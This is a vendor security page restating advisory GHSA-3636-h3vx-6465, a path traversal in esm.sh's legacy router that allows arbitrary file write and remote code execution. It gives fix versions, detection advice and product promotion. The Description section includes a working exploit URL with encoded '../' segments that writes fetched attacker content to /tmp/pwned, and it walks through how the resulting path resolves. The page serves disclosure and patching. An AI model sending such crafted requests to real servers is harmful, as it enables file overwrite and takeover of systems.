How severe is GHSA-3636-h3vx-6465?

No CVSS score has been assigned to GHSA-3636-h3vx-6465 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-3636-h3vx-6465?

GHSA-3636-h3vx-6465 affects the following packages: github.com/esm-dev/esm.sh (Go). Ecosystems affected: Go.

How do I fix GHSA-3636-h3vx-6465?

Update github.com/esm-dev/esm.sh to 0.0.0-20260508100112-1960055e1d53 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3636-h3vx-6465 is resolved across your whole dependency graph.

How do I detect GHSA-3636-h3vx-6465 in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/esm-dev/esm.sh. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-3636-h3vx-6465 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-3636-h3vx-6465?

O3 pinpoints whether GHSA-3636-h3vx-6465 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-3636-h3vx-6465 actively exploited in the wild?

No public exploit code has been indexed for GHSA-3636-h3vx-6465 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-3636-h3vx-6465 published, and has it been updated?

GHSA-3636-h3vx-6465 was published on May 12, 2026 and was last updated on June 25, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹 Go

Not in CISA KEV

GHSA-3636-h3vx-6465

GHSA-3636-h3vx-6465 is a remote code execution vulnerability in github.com/esm-dev/esm.sh. O3 Security confirms whether GHSA-3636-h3vx-6465 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

esm.sh: Legacy Route Path Traversal Can Lead to RCE

Also known asCVE-2026-44593GO-2026-5071

Published

May 12, 2026

Updated

Jun 25, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Jun 25, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected

🐹github.com/esm-dev/esm.sh

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Impact

Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.
Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.

Exploit

The legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put
(see https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291).

For a URL such as:

http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

the router concatenates the path components without sanitizing them, producing a storage key like:

legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned

When this key is used, the underlying file system resolves the relative segments and writes the file to /tmp/pwned. Thus an attacker can craft a request that writes data to arbitrary locations on the server.

Details

URL Construction
A crafted request is sent to the server:

http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

Proxy to Legacy Server
The request is forwarded to:

http://legacy.esm.sh/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned

which resolves to:

http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md

File Retrieval
The server fetches foo.md from the GitHub repository https://github.com/<attacker>/exp.
Path Normalisation & Storage
The storage path derived from the request is:
```
legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned
```
Normalising this path yields /tmp/pwned. The retrieved file content is then written to that location.
Result
By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.

Credit Discovery To

splitline (@_splitline_) from DEVCORE Research Team

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/esm-dev/esm.sh`	all versions	0.0.0-20260508100112-1960055e1d53

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/esm-dev/esm.sh. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/esm-dev/esm.sh to 0.0.0-20260508100112-1960055e1d53 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3636-h3vx-6465 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-3636-h3vx-6465 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-3636-h3vx-6465. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Impact - Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for. - Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges. ### Exploit The legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put` (see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>). For a URL such as: ``` h

O3 Security · Impact-Aware SCA

Is GHSA-3636-h3vx-6465 in your dependencies?

O3 detects GHSA-3636-h3vx-6465 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

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